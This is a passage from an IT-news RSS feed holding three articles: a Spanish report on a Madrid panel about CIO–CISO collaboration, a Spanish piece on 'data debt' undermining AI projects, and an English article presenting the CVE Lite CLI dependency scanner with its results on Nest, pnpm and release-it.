<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p><a href="https://www.cio.com/article/4134456/sonia-segade-blanco-nueva-directora-general-de-innovacion-sostenibilidad-y-transformacion-digital-de-renfe.html">Sonia Segade</a>, directora general de Innovación, Sostenibilidad y Transformación Digital de <strong>Renfe</strong>, <a href="https://www.cio.com/article/3628323/zurich-es-galardonada-con-el-premio-al-sector-finanzas-y-seguros-en-los-cio-100-awards.html">Ricard </a>Guasch, CIO de <strong>Zurich Insurance Company</strong>, Enric Llaudet, director de Seguridad de la Información en el ámbito internacional de <strong>Teladoc Health</strong>, y <a href="https://www.computerworld.es/article/2107498/carlos-manchado-nuevo-ciso-global-de-acciona.html">Carlos Manchado</a>, CISO global de <strong>Acciona</strong>, protagonizaron el debate con el que se clausuró el evento CIO ForwardTech &amp; ThreatScape Spain, organizado por las cabeceras COMPUTERWORLD/CSO y CIO en Madrid el pasado 16 de abril.</p>



<p>El panel, moderado por Fernando Muñoz, director del <a href="https://www.cio.com/es/executive-espana/">CIO Executive de Foundry España</a>, abordó un <a href="https://www.cio.com/article/3962903/la-convivencia-entre-cio-y-ciso-dos-cargos-al-alza.html">tema ya clásico en el imaginario del liderazgo en TI y seguridad de la información</a>, pero no por ello menos relevante y de actualidad: ¿cómo deben colaborar los CIO y los CISO para coliderar la transformación empresarial, aunando la visión estratégica del primero con la defensa activa que articula el segundo?</p>



<p>Durante el debate, quedó patente que, en la economía digital actual, determinada por la frenética adopción de los últimos sabores de la <a href="https://www.computerworld.es/article/4152307/la-ia-generativa-baja-de-manera-drastica-la-barrera-de-entrada-para-ataques-de-phishing-y-fraude-digital.html">inteligencia artificial</a> y un <a href="https://www.computerworld.es/article/4070795/felix-sanz-roldan-exdirector-cni-la-vieja-europa-la-mas-sabia-no-tiene-soberania-tecnologica-y-ahora-debe-elegir-quien-quiere-que-la-colonice-los-chinos-o-los-americanos.html">contexto geopolítico complejísimo</a>, en el que impera el concepto de soberanía tecnológica y de datos, la relación entre el máximo responsable de los sistemas de información de las organizaciones y el líder en ciberseguridad de las mismas tiene que ser, inevitablemente, mucho más estrecha y coordinada, que permita la compartición de modelos de gobernanza; una cultura de colaboración transversal que aúne la gestión del riesgo, el negocio y la tecnología y derribe las tradicionales fronteras entre innovación y seguridad.</p>



<p>Así lo es en el caso de Acciona, contó su CISO, Carlos Manchado. “La alianza estratégica entre el CISO y el CIO es necesaria y necesitamos seguir avanzando en ella”, aseveró, recordando que el rol del primero (el suyo propio) es el de un directivo capaz de “balancear los riesgos y mitigar los posibles ataques, teniendo siempre en cuenta que lo principal es el negocio”.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2026/04/GARPRESS-1414.jpg?quality=50&amp;strip=all&amp;w=1024" alt="Carlos Manchado (CISO de Acciona) en CIO ForwardTech &amp; ThreatScape Spain" class="wp-image-4163116" width="1024" height="683" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p><strong>Carlos Manchado (Acciona).</strong></p>
</figcaption></figure><p class="imageCredit">Garpress | Foundry</p></div>



<p>Según Llaudet, de Teladoc Health, el rol del CISO ha cambiado en los últimos años porque también lo ha hecho la propia relevancia de la seguridad de la información en las empresas y para sus cúpulas directivas. “Ahora es muy distinto el escenario y la seguridad de la información está para conseguir los resultados de negocio”, afirmó, subrayando la evolución del CISO de “un prescriptor a un decisor”, en cuya labor ya no cabe ser un freno para los proyectos de innovación.</p>



<p>En esta misma línea también ahondó Guasch, de Zurich Insurance Company. “El rol del CISO se ha transformado mucho más que el del CIO en los últimos años. Ha pasado de ser un prescriptor a un ejecutor de servicios de seguridad de la información”. Eso sí, en este viaje de “empoderamiento”, se han difuminado las fronteras que tenía con el CIO. “Hay que mejorar esto y definir bien los roles y las responsabilidades de cada uno. Determinar dónde empieza y dónde acaba cada uno de estos roles”. En todo caso, afirmó, “la relación entre ambos, en muchos casos ‘de auditor a auditado’ debe ser ahora de plena colaboración, porque el objetivo del área de TI y de seguridad de la información, al final, es el mismo: que el negocio funcione”.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2026/04/GARPRESS-1500-1.jpg?quality=50&amp;strip=all&amp;w=1024" alt="Ricard Guasch (CIO de Zurich Insurance Company)" class="wp-image-4163118" width="1024" height="683" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p><strong>Ricard Guasch (Zurich Insurance Company).</strong></p>
</figcaption></figure><p class="imageCredit">Garpress | Foundry</p></div>



<h2 class="wp-block-heading">Una relación a veces complicada</h2>



<p>¿Existen fricciones entre el CISO y el CIO? Según Segade, de Renfe, el modelo a seguir debe ser el de “negociación constante”. No obstante, apuntó que, dado que, en el caso de la entidad ferroviaria, “el CISO es quien establece las políticas de seguridad y el CISO las operaciones de seguridad”, la última responsabilidad y, por ende, la toma de decisiones recae en el CIO. “El responsable del riesgo digital es el responsable del sistema, y este último es el CIO”, apuntó, añadiendo que, en el caso de su organización, normalmente el análisis de riesgos lo establece el CIO con el área de negocio. “El CISO evalúa e informa”, agregó.</p>



<p>“La realidad —apostilló Guasch sobre este asunto— es que si tenemos un problema de seguridad, este no es solo del CISO o del CIO: lo es de toda la compañía, del negocio”. “Desde luego, si cae un servicio dos horas todo el mundo mirará a TI, pero si cae una semana todos mirarán al área de negocio”.</p>



<p>La directiva ahondó también en la importancia de analizar bien los riesgos de seguridad de un proyecto, pero también cuál es el impacto que puede tener en el negocio y en la estrategia de transformación digital no llevarlo a cabo. “Debemos buscar el equilibrio entre la seguridad llevada al extremo y la seguridad que podemos prestar en los sistemas de información gracias al uso de las tecnologías”, argumentó.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2026/04/GARPRESS-1565.jpg?quality=50&amp;strip=all&amp;w=1024" alt="Sonia Segade (Renfe)" class="wp-image-4163119" width="1024" height="683" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p><strong>Sonia Segade (Renfe).</strong></p>
</figcaption></figure><p class="imageCredit">Garpress | Foundry</p></div>



<p>Lo que está claro, según la directiva, es que el CISO debe estar involucrado en todos los proyectos de TI de la compañía desde el principio. “Desde luego, en Renfe no podemos poner nada en producción sin un análisis de riesgos y una firma de la documentación”, sentenció.</p>



<p>Ocurre igual en las demás organizaciones. “Tenemos un proceso de gobernanza que obliga a que cada proyecto nuevo pase por las manos del CISO, para evaluar la gestión del riesgo. Eso sí, es cierto que la gran queja de nuestros equipos de negocio es que este proceso genera menos velocidad y puede ser un freno a la innovación”, según Llaudet, de Teladoc Health, que agregó9: “Estoy de acuerdo en que el CISO debe estar en todos los proyectos, pero si esto supone que seamos un cuello de botella para la innovación, entonces tenemos un problema”.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2026/04/GARPRESS-1457.jpg?quality=50&amp;strip=all&amp;w=1024" alt="Enric Llaudet (Teladoc Health)" class="wp-image-4163120" width="1024" height="683" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p><strong>Enric Llaudet (Teladoc Health).</strong></p>
</figcaption></figure><p class="imageCredit">Garpress | Foundry</p></div>



<h2 class="wp-block-heading">¿El coliderazgo es necesario?</h2>



<p>Para Sonia Segade, la relación entre el CISO y el CIO debe ser, sin duda, de “coliderazgo”. “Esa es la clave —añadió Guasch— porque la seguridad de la información es una cosa de todos. Las áreas de TI y seguridad tenemos que trabajar en modo ‘joint venture’ para convencer al resto de la organización de que ser seguros no es una opción, sino una obligación”. “Más que coliderar —apuntó Llaudet— lo que hay que hacer es simplemente cooperar; en nuestro caso, esto ahora lo estamos haciendo mucho, sobre todo con los proyectos de IA”.</p>



<p>Manchado cerró el debate con su propia visión de la relación entre el CIO y el CISO: “Lo que hay que tener es empatía, un elemento clave en el liderazgo. Lo mejor es intentar ponerte en los zapatos del otro y entender cuáles son los objetivos y qué se persigue”. Añadió que aunque en su día a día hace concesiones, “bastantes”, también tiene “líneas rojas” en pro de la seguridad.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[La deuda de datos: un elemento invisible que merma el valor de la IA]]></title>
<description><![CDATA[Como todo director de sistemas de información sabe, el éxito de la IA depende de unas prácticas de datos sólidas como una roca. Pero, dado que los directores generales y los consejos de administración han puesto el énfasis en las transformaciones digitales en los últimos años, la financiación des...]]></description>
<link>https://tsecurity.de/de/3460447/it-security-nachrichten/la-deuda-de-datos-un-elemento-invisible-que-merma-el-valor-de-la-ia/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3460447/it-security-nachrichten/la-deuda-de-datos-un-elemento-invisible-que-merma-el-valor-de-la-ia/</guid>
<pubDate>Fri, 24 Apr 2026 09:34:45 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>Como todo director de sistemas de información sabe, el éxito de la IA depende de unas prácticas de datos sólidas como una roca. Pero, dado que los directores generales y los consejos de administración han puesto el énfasis en las transformaciones digitales en los últimos años, la financiación destinada a los esfuerzos de transformación de la gestión de datos ha sido, en el mejor de los casos, parcial. Ahora, con la IA en lo más alto de la agenda de los directores generales, muchos CIO se encuentran en un aprieto, al tener que reformar también las operaciones de datos y hacer frente a años, o décadas, de deuda de datos acumulada.</p>



<p>Si una empresa tiene deuda de datos, la IA la pondrá en evidencia. De hecho, la deuda de datos puede provocar tasas de fracaso devastadoras en los proyectos de IA. Para los líderes tecnológicos, no hay mejor momento que el presente para saldar esta deuda con una estrategia de corrección integral.</p>



<p>La deuda de datos puede surgir por diversas razones, entre ellas prácticas de gestión de datos antiguas y obsoletas, atajos y concesiones en la infraestructura para cumplir objetivos a corto plazo, fuentes de datos mal documentadas y prácticas ineficientes de almacenamiento de datos.</p>



<p>La firma de análisis IDC, en su <em>Informe de previsiones para la agenda de los CIO en 2026</em>, señala que, para 2027, los CIO que retrasen la puesta en marcha de la corrección de la deuda de datos se enfrentarán a tasas de fracaso de la IA un 50% más altas y a un aumento de los costes, ya que el bajo rendimiento de los modelos pone de manifiesto problemas derivados de datos aislados, redundantes o de mala calidad. “Estos hallazgos refuerzan la idea de que escalar la IA requiere una inversión disciplinada en bases de datos y plataformas integradas, y que posponer estos fundamentos corre el riesgo de convertir la ambición de la IA en una fricción operativa sostenida”, reza el informe.</p>



<p>“La IA no crea problemas de datos; los pone de manifiesto y los acelera”, afirma Hrishikesh Pippadipally, CIO de la firma de contabilidad y asesoría Wiss. “Cuando las organizaciones carecen de procesos estandarizados, definiciones coherentes y una gobernanza de datos disciplinada, los datos se deterioran naturalmente con el tiempo. Ese deterioro puede no ser visible en entornos de generación de informes tradicionales, pero los sistemas de IA sacan a la luz esas inconsistencias rápidamente”.</p>



<p>La deuda de datos es a menudo el resultado de la deriva de los procesos: múltiples equipos que utilizan definiciones diferentes, estándares de introducción de datos inconsistentes y sistemas aislados que evolucionan de forma independiente, afirma Pippadipally. “Sin estandarización y una propiedad clara, incluso los sistemas modernos se degradan”, afirma. “En nuestra organización, hemos aprendido que la corrección no consiste solo en limpiar los datos históricos. Se trata de instaurar procesos disciplinados que eviten el deterioro en el futuro: una propiedad clara de los datos, flujos de trabajo estandarizados y una gobernanza integrada en las operaciones diarias”.</p>



<p>Dicho esto, no todas las iniciativas de IA se ven bloqueadas por datos imperfectos, afirma Pippadipally. “Hay casos de uso más pequeños y bien delimitados, como el resumen de documentos, la asistencia en la redacción, la señalización de anomalías o el apoyo a la conciliación, que pueden aportar valor con la verificación por parte de personas”, afirma. “Estas aplicaciones contenidas permiten a las organizaciones desarrollar la madurez de la IA mientras se llevan a cabo mejoras fundamentales en los datos”.</p>



<h2 class="wp-block-heading">Un problema creciente que requiere una solución rápida</h2>



<p>La deuda de datos, un problema generalizado en la mayoría de las organizaciones, ha crecido de forma orgánica a lo largo de décadas. Además del creciente énfasis en la recopilación de datos, las empresas también han acumulado deuda de datos a lo largo de años de fusiones y adquisiciones, así como por la implementación de nuevos sistemas y servicios, ya sea a nivel de toda la empresa o por departamentos.</p>



<p>“Los sistemas se han ido superponiendo en respuesta a necesidades inmediatas, adquisiciones, requisitos normativos o preferencias departamentales”, afirma Pippadipally. “Con el tiempo, los procesos y estándares inconsistentes dan lugar a entornos de datos en silos”.</p>



<p>Además, las ineficiencias en la gestión de datos se han abordado históricamente con soluciones manuales, dice Pippadipally. “Los equipos conciliaban los informes de forma manual”, explica. “Los analistas compensaban las definiciones inconsistentes. Pero la IA reduce la tolerancia a la ambigüedad. Cuando los sistemas automatizados operan a gran escala, las inconsistencias se multiplican en lugar de compensarse”.</p>



<figure class="wp-block-pullquote"><blockquote><p><strong><em>Si una empresa tiene deuda de datos, la IA la pondrá en evidencia</em></strong></p></blockquote></figure>



<p>Es vital abordar esto ahora porque las iniciativas de IA avanzan más rápido que la madurez de los procesos. Hay un claro sentido de urgencia. “Si las organizaciones no institucionalizan la disciplina y la estandarización de los procesos, corren el riesgo de automatizar el caos en lugar de mejorar los resultados”, afirma Pippadipally. “El problema no es simplemente la mala calidad de los datos; es la ausencia de una gobernanza sostenida que mantenga la fiabilidad de los datos a lo largo del tiempo”.</p>



<p>Para muchas empresas, la deuda de datos puede permanecer oculta mientras llevan a cabo actividades tradicionales de inteligencia empresarial o análisis puntuales, afirma Juan Nassif, director técnico regional del proveedor de desarrollo de software BairesDev. “La IA es diferente; es mucho menos indulgente y expone rápidamente duplicados, definiciones incoherentes, contexto faltante y “campos misteriosos” con un linaje poco claro”, afirma Nassif. “Cuando se pasa de la fase piloto a una escala mayor, esos problemas se manifiestan en forma de bajo rendimiento de los modelos, ciclos de iteración más largos y aumento de los costes operativos. Para nosotros también es una preocupación absoluta, y lo consideramos un requisito previo para escalar la IA de forma responsable”.</p>



<p>Si los datos están incompletos, son incoherentes o están duplicados, los resultados de los modelos de IA dejan de ser fiables. “Eso puede traducirse en respuestas erróneas, recomendaciones deficientes o automatizaciones que fallan en el peor momento”, afirma Nassif. “Los equipos acaban dedicando la mayor parte de su tiempo a lidiar con los datos, reelaborar los flujos de trabajo y compensar las entradas deficientes con ajustes repetidos y excepciones”.</p>



<p>Existe algún tipo de deuda de datos en todos los sectores y en organizaciones de prácticamente todos los tamaños. “Soy testigo de las consecuencias de la deuda de datos en mi trabajo diario con colegios del Reino Unido cada semana”, afirma Mark Friend, director de Classroom365, que asesora a instituciones educativas sobre tecnología, arquitectura y estrategias.</p>



<p>“La mayoría de la gente da por sentado que, al adquirir la última herramienta de IA, todos sus problemas quedarán resueltos, por muy desordenada que esté la base subyacente”, afirma Friend. “Mi experiencia al respecto es que incluso el software más caro resulta inútil si los datos de entrada no son fiables». La deuda de datos es «un riesgo fundamental para la estabilidad institucional”, agrega.</p>



<h2 class="wp-block-heading">Consejos para una corrección eficaz de la deuda de datos</h2>



<p>La corrección de la deuda de datos a nivel de toda la empresa puede ser una tarea significativa y costosa que afecta a múltiples aspectos del negocio. No se trata solo de una cuestión tecnológica, sino también de disciplina. Requiere limpiar los datos históricos, así como reforzar la gobernanza de los procesos para evitar repetir los errores o las malas prácticas del pasado.</p>



<p>Por ello, desarrollar y ejecutar una estrategia eficaz requiere un enfoque organizado y minucioso. A continuación, se ofrecen algunos consejos de los expertos.</p>



<h3 class="wp-block-heading">Conseguir el apoyo de la alta dirección y del consejo de administración</h3>



<p>Cualquier iniciativa de TI importante suele necesitar la aceptación de los altos ejecutivos de la empresa e incluso de los consejos de administración, especialmente si se trata de una gran empresa global. La corrección de la deuda de datos no es diferente. Existe un riesgo financiero significativo si la corrección no cuenta con la aprobación y el respaldo total de los altos ejecutivos y los miembros del consejo de administración.</p>



<p>Explicar las posibles ramificaciones es una buena forma de llamar la atención sobre la necesidad de la corrección. “Haga visible la deuda de datos y vincúlela al riesgo empresarial”, afirma Nassif. “La deuda de datos no se considerará prioritaria hasta que se relacione con las tasas de fallo de la IA, el aumento de los costes y el riesgo de incumplimiento normativo”.</p>



<p>La deuda de datos es ahora un riesgo a nivel de consejo de administración, reflexiona Adrian Lawrence, fundador de la empresa de selección de ejecutivos NED Capital, que asesora a consejos de administración y responsables financieros sobre gobernanza de datos empresariales, integridad de los informes y preparación para la IA. “Veo cómo aumenta la presión a medida que los consejos de administración vinculan su inversión en IA a los objetivos de productividad y rentabilidad, pero los datos inconexos de finanzas, ventas y operaciones socavan gravemente la precisión de los modelos”, relata. “Ponen al descubierto las deficiencias que las actualizaciones [de la plataforma empresarial] y la tecnología obsoleta no han abordado por completo”.</p>



<p>El éxito en la corrección de la deuda “exige el respaldo de la dirección, una gobernanza de datos disciplinada y una limpieza de la arquitectura por fases que trate los datos como un activo en el balance”, afirma Lawrence.</p>



<h3 class="wp-block-heading">Estandarizar los procesos básicos antes de ampliar la IA</h3>



<p>Para que los beneficios de la corrección de la deuda de datos sean más duraderos, las empresas deben estandarizar sus procesos empresariales básicos.</p>



<p>“La calidad de los datos refleja la calidad de los procesos”, afirma Pippadipally. “Los líderes deben ponerse de acuerdo sobre flujos de trabajo, definiciones y uso del sistema estandarizados antes de esperar que la IA funcione de manera coherente. Sin la estandarización de los procesos, los esfuerzos de corrección serán temporales”.</p>



<p>La IA funciona mejor en entornos predecibles, recalca Pippadipally, y la estandarización crea la estabilidad que la IA requiere.</p>



<p>BairesDev ha integrado comprobaciones automatizadas de la actualidad, integridad, duplicados y cambios de esquema de los datos, de modo que los problemas de calidad de los datos se detectan antes de que lleguen a los flujos de trabajo de análisis o IA, afirma Nassif.</p>



<h3 class="wp-block-heading">Establecer la propiedad de los datos y una gobernanza continua</h3>



<p>Otra forma de garantizar los beneficios a largo plazo de una iniciativa de corrección es contar con procesos de gobernanza y rendición de cuentas continuos. “La corrección de datos no es una iniciativa de limpieza puntual”, afirma Pippadipally. “Asignar una propiedad clara a nivel de dominio y establecer una supervisión continua evita que los datos se degraden de nuevo”.</p>



<p>Esto es importante, porque la gobernanza garantiza la sostenibilidad. “Sin disciplina, las organizaciones vuelven a acumular deuda de datos incluso después de los esfuerzos de limpieza”, agrega Pippadipally.</p>



<p>“Hemos reforzado la propiedad de los conjuntos de datos y estandarizado las definiciones empresariales comunes, para que los equipos no tengan que formarse ni recurrir a ‘versiones de la verdad’ contradictorias”, afirma Nassif. “Hemos reforzado nuestras prácticas de catalogación y linaje, para que los equipos puedan rastrear de dónde proceden los datos, cómo se transforman y quién puede utilizarlos —algo fundamental tanto para la confianza como para la gobernanza—“.</p>



<p>El mayor cambio es de mentalidad. “No tratamos la corrección de datos como una limpieza puntual”, dice Nassif. “La tratamos como una ingeniería continua con medidas de seguridad que evitan que la deuda vuelva a acumularse”.</p>



<h3 class="wp-block-heading">Priorizar casos de uso de IA de alto valor y delimitados</h3>



<p>Mientras las grandes iniciativas de modernización de datos avanzan dentro de una organización, los CIO pueden implementar la IA en áreas de alcance limitado donde los resultados sean verificables y la supervisión humana sea sencilla, cuenta Pippadipally. “Algunos ejemplos son el apoyo a la redacción, las conciliaciones controladas, la clasificación de flujos de trabajo o la señalización de anomalías”, añade. “Este enfoque genera confianza en la organización y demuestra el retorno de la inversión sin exponer en exceso a la empresa a riesgos relacionados con los datos”.</p>



<h3 class="wp-block-heading">Limpiar el almacenamiento</h3>



<p>En lo que respecta a las prácticas de almacenamiento de datos, no hay duda de que las organizaciones necesitan poner orden. Las malas prácticas conducen a una mala calidad de los datos, lo que podría afectar a los proyectos impulsados por la IA.</p>



<p>“Las escuelas suelen ser muy buenas almacenando datos en un trastero donde simplemente siguen tirando cajas sin mirar dentro”, afirma Friend. “Cualquiera que haya pasado por una renovación tecnológica sabe que un almacenamiento desordenado supone una enorme carga financiera”.</p>



<p>Décadas de malas prácticas de recopilación “han creado una deuda técnica que ya no podemos ignorar”, afirma Friend. “Puede que pienses que tu almacenamiento heredado es inofensivo, pero en realidad supone una enorme carga financiera en forma de costes operativos crecientes” y puede afectar negativamente a las iniciativas de IA.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Is your Node.js project really secure?]]></title>
<description><![CDATA[JavaScript and Node.js teams do not lack security tools. What they still lack is a dependency security workflow that developers will actually use before release.



That is the real gap. A package gets installed, CI (continuous integration) runs, a scanner executes somewhere in the pipeline, and ...]]></description>
<link>https://tsecurity.de/de/3457397/ai-nachrichten/is-your-nodejs-project-really-secure/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3457397/ai-nachrichten/is-your-nodejs-project-really-secure/</guid>
<pubDate>Thu, 23 Apr 2026 11:02:55 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p><a href="https://www.infoworld.com/article/2263137/what-is-javascript-the-full-stack-programming-language.html">JavaScript</a> and <a href="https://www.infoworld.com/article/2254485/what-is-nodejs-javascript-runtime-explained.html">Node.js</a> teams do not lack security tools. What they still lack is a dependency security workflow that developers will actually use before release.</p>



<p>That is the real gap. A package gets installed, CI (<a href="https://www.infoworld.com/article/2269266/what-is-cicd-continuous-integration-and-continuous-delivery-explained.html">continuous integration</a>) runs, a scanner executes somewhere in the pipeline, and eventually a report appears. From a distance, that can look like maturity. In practice, it often means developers learn about dependency risks too late, too indirectly, and with too little clarity to act while the fix is still easy.</p>



<p>The real problem in JavaScript and Node.js security is no longer detection. It is actionability.</p>



<p>That is why so many teams can say they scan dependencies and still struggle to answer the questions that matter right before release. What exactly is vulnerable? Is it direct or transitive? Is there a fixed version? Can I fix it in my own project, or am I blocked behind an upstream dependency? Which finding deserves attention first?</p>



<p>Those are not edge cases. That is the real work.</p>



<p>In Node.js projects, the problem is easy to hide. A team may manage a reasonable number of direct dependencies while shipping hundreds or thousands of resolved packages through a lockfile. At that point, the challenge is no longer whether a scanner can produce output. Most can. The challenge is whether the result is understandable enough, local enough, and actionable enough to help a developer make a release decision before the issue turns into pipeline noise or last-minute triage.</p>



<p>That is where many workflows still fail. Detection exists. Usability often does not. Node.js teams do not have a scanner shortage. They have a workflow shortage.</p>



<p>What is missing is a fixability-first view of dependency security. Teams do not just need to know that something is vulnerable. They need to know what is directly actionable now, what is buried in transitive dependencies, and what kind of remediation path they are actually dealing with.</p>



<h2 class="wp-block-heading">What CVE Lite CLI does differently</h2>



<p>This is the problem I have been exploring through <a href="https://github.com/sonukapoor/cve-lite-cli">CVE Lite CLI</a>, an open source tool built around the local dependency workflow JavaScript developers actually need.</p>



<p>CVE Lite CLI is not trying to win the platform race. It is trying to solve the moment where a developer needs a clear answer before release.</p>



<p>Its scope is intentionally narrow. It does not try to do exploitability analysis, runtime reachability, container scanning, secret scanning, or infrastructure scanning. It focuses on a more practical job: scanning JavaScript and TypeScript projects locally from their lockfiles, identifying known <a href="https://osv.dev/">OSV</a>-backed dependency issues, separating direct from transitive findings, showing dependency paths, surfacing fixed-version guidance, and producing output a developer can actually use before release.</p>



<p>That narrower scope is not a weakness. It is the reason the tool is useful.</p>



<p>Too much security tooling is built around organizational visibility. The CVE Lite CLI workflow is built around developer decision-making. Its value is not simply that it tells you vulnerabilities exist. Its value is that it makes dependency risk understandable early enough to change developer behavior.</p>



<p>That distinction matters. A warning that arrives late in CI may be technically correct, but operationally weak. A warning that appears locally, with direct versus transitive separation and dependency paths, is much closer to a plan for a fix.</p>



<p>This is the gap CVE Lite CLI aims to address. It moves dependency security closer to the point where engineering decisions are actually made.</p>



<p>Recent work on CVE Lite CLI pushes that workflow further by surfacing the exact package command for direct fixes where available. That makes the tool more useful at the moment developers move from detection to action.</p>



<p>In the stronger cases, providing the package command turns the tool from a scanner into a local remediation loop: scan, apply the suggested package change, and rescan immediately without waiting for branch-and-pipeline feedback.</p>



<p>That shift is bigger than convenience. It changes the feel of dependency security from a distant report into an active engineering loop. It lets the developer stay in the same working session, make a change, verify the result, and keep moving.</p>



<h2 class="wp-block-heading">Local-first vulnerability scanning with CVE Lite CLI</h2>



<p>In April 2026, I ran CVE Lite CLI against three public open source projects: <a href="https://github.com/nestjs/nest">Nest</a>, <a href="https://github.com/pnpm/pnpm">pnpm</a>, and <a href="https://github.com/release-it/release-it">release-it</a>. The goal was not to single out those projects. Well-maintained projects can still surface dependency issues, and scan results can change over time. The point was to test whether a local-first tool could give developers something concrete enough to shape action.</p>



<p>The Nest run has now evolved into a fuller <a href="https://github.com/sonukapoor/cve-lite-cli/blob/main/docs/case-studies/nestjs.md">case study</a> that makes the larger point clearer: the value of a local-first tool is not just that it detects issues, but that it helps developers move from scan output to a realistic remediation path in the same working session.</p>



<p>In Nest, CVE Lite CLI parsed 1,626 packages from package-lock.json and found 25 packages with known OSV matches: one high-severity issue, four medium, and 20 low. More important than the count was the structure. Twelve findings looked directly fixable in the project. Thirteen were transitive.</p>



<p>That is the kind of distinction raw counts hide. Twenty-five findings may sound alarming, but the real engineering question is how many of those can be acted on immediately. A fixability-first workflow makes that visible.</p>



<p>What the fuller Nest case study shows is that remediation is often iterative, not one-and-done. In one dependency path, resolving the issue required several tar upgrades in sequence as the dependency graph changed after each install. That is exactly where a local scan-fix-rescan loop becomes more useful than a CI-only workflow. Instead of upgrading, pushing a branch, waiting for a pipeline scanner, and discovering the next required upgrade later, the developer can keep working through the path locally until the dependency state is clean.</p>



<p>One of the strongest findings was diff@2.2.3, a high-severity transitive issue appearing through gulp-diff. The same scan also surfaced diff@4.0.2 as a medium-severity direct dependency and diff@7.0.0 as a medium-severity transitive dependency through mocha. That is a realistic picture of Node.js dependency management: the same package appearing in multiple forms, through multiple parents, with different remediation implications.</p>



<p>A weaker tool would simply tell the developer that vulnerabilities were found. CVE Lite CLI did something more useful. It exposed the dependency paths clearly enough to show why the remediation work was different in each case.</p>



<p>The same Nest scan surfaced tar@6.2.1 as a medium-severity direct dependency with fixed-version guidance, and form-data@2.3.3 as a medium-severity transitive issue through request. Those are not the same category of problem. One points toward a direct upgrade decision. The other points toward upstream dependency pressure. That is where dependency scanning stops being a checklist exercise and starts becoming real engineering work.</p>



<p>And that is where this kind of local-first dependency workflow performs well. It does not just report that something is wrong. It shows the developer what kind of wrong they are dealing with.</p>



<p>The release-it scan reinforced the same point on a smaller scale. CVE Lite CLI parsed 545 packages and found 10 packages with known OSV matches: four medium-severity and six low. Six appeared directly fixable. Four were transitive.</p>



<p>Two direct findings stood out immediately: @isaacs/brace-expansion@5.0.0 and flatted@3.3.3. Those are the kinds of issues a developer can reason about quickly. But the scan also found two minimatch findings arriving transitively through different parent chains, one through @npmcli/map-workspaces and another through glob.</p>



<p>That matters because it shows the tool is not only useful in large, messy dependency graphs. It is also useful in smaller projects where the real value comes from turning a vague dependency concern into a specific, inspectable remediation path.</p>



<p>The pnpm scan mattered for the opposite reason. CVE Lite CLI parsed 563 packages from pnpm-lock.yaml and returned no known OSV matches. That kind of result is easy to undervalue, but it should not be. A serious local workflow should not exist only to generate alerts. It should also be able to give developers confidence quickly when there is nothing obvious to fix.</p>



<p>That clean-result case is one of the reasons a lightweight local tool belongs in the workflow. Developers do not just need early warning. They also need fast reassurance.</p>



<h2 class="wp-block-heading">Bringing dependency security into the developer workflow</h2>



<p>The larger lesson here is not that open source projects are failing. It is that the developer workflow around dependency security is still immature. Teams have learned how to collect results. They have not learned how to make those results usable at the point where developers choose packages, update lockfiles, and prepare releases.</p>



<p>That is why CVE Lite CLI matters beyond the tool itself. It addresses a workflow problem that many JavaScript teams still live with every day.</p>



<p>The bigger issue is not one project or one scanner. It is whether dependency security becomes a normal part of everyday engineering practice.</p>



<p>CVE Lite CLI takes steps in that direction. It gives developers a local release check instead of forcing them to wait for CI. It gives them direct versus transitive visibility instead of flattening everything into one alarming list. It gives them dependency paths instead of vague package names with no remediation context. It gives them fixed-version guidance where possible instead of leaving them to infer the next move.</p>



<p>And because CVE Lite CLI is intentionally lightweight and narrow in scope, it is easier to trust, easier to adopt, and easier to add to a normal Node.js toolchain.</p>



<p>That point matters. Developers are already overloaded with tooling. The next tool that earns a place in the workflow will not be the one that makes the biggest promises. It will be the one that solves a real problem cleanly, honestly, and without forcing teams into a larger platform commitment.</p>



<p>That is why CVE Lite CLI has real potential. It meets developers where they already work.</p>



<p>More importantly, it points toward a broader shift in how dependency security should be understood. Security tooling is moving from vulnerability detection to vulnerability interpretation, from counting issues to understanding risk in context. That is where developer workflow becomes more important than dashboard volume.</p>



<h2 class="wp-block-heading">A missing link in the developer toolchain</h2>



<p>Dependency security should not feel like a special event. It should feel like linting, testing, or checking build output before release. In other words, it should become a normal part of the engineering loop.</p>



<p>That is the strongest case for CVE Lite CLI. It helps move security from a distant control function into an everyday developer habit.</p>



<p>For dependency paths that require more than one adjustment, a local-first, scan-fix-rescan workflow can be materially faster than relying on repeated CI feedback alone. If developers can scan lockfile-backed dependency state locally, understand what is direct, understand what is transitive, see the dependency paths, and get a credible sense of what to fix before release, then dependency security stops being abstract policy and starts becoming practical engineering.</p>



<p>That is what the JavaScript ecosystem needs more of.</p>



